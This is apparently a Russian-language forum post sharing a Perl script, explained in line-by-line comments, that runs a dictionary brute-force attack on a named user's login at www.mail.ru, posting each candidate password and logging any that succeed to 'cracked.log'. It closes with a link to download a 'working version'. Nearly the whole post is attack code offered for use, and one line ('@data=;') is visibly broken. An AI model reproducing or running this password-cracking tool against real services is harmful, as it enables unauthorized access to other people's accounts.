Решил поделиться полезным кодом ) Пишем на Perl

#!/usr/bin/perl
use IO::Socket; ## Юзаем сокеты
$|++; ## Инкременируем буферайз
$server="www.mail.ru"; ## Задаем сервер
$port="80"; ## А также порт :)
$logfile="cracked.log"; ## Сюда пишем взломанный аккаунт
$words="bigdict.txt"; ## Наш большой словарик, по которому ведется брутфорс
$user="fuck"; ## Юзер, которого ломаем
$dir="/login.bml"; ## Скрипт, который возвращает статус
open(file, "$words") or die print "$!\n";
@data=;
$total=@data;
close file; ## Откроем словарь, запишем все слова в массив
foreach $pass (@data) { ## Цикл по каждому слову
$i++;
chomp($pass);
$socket=IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => tcp)
or die print "Unable to connect to $server:$port\n"; ## Создаем соединение с mail.ru
$socket->autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена)
$post="user=$user&password=$pass&"; ## Формируем POST-запрос
$len=length($post);
$len+=1; ## Находим длину запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: www.mail.ru\r\n";;
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";

## Отправим в сокет длинный header

$socket->recv($answer,1024); ## И прочитаем возврат = 1 кб данных

if ($answer=~/\:$user\:/) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user:$pass is OK!!!\n";
close logf;
print "$user:$pass is OK!!!\n";
exit 0; ## Если он содержит строку вида :user: - пишем лог и завершаем брут.
} ## Иначе, проверяем следующий пароль
}

Комменты приветствуются... Скачать рабочую версию можно http://kamensk.net.ru/forb/1/x/brut-lj.tar.gz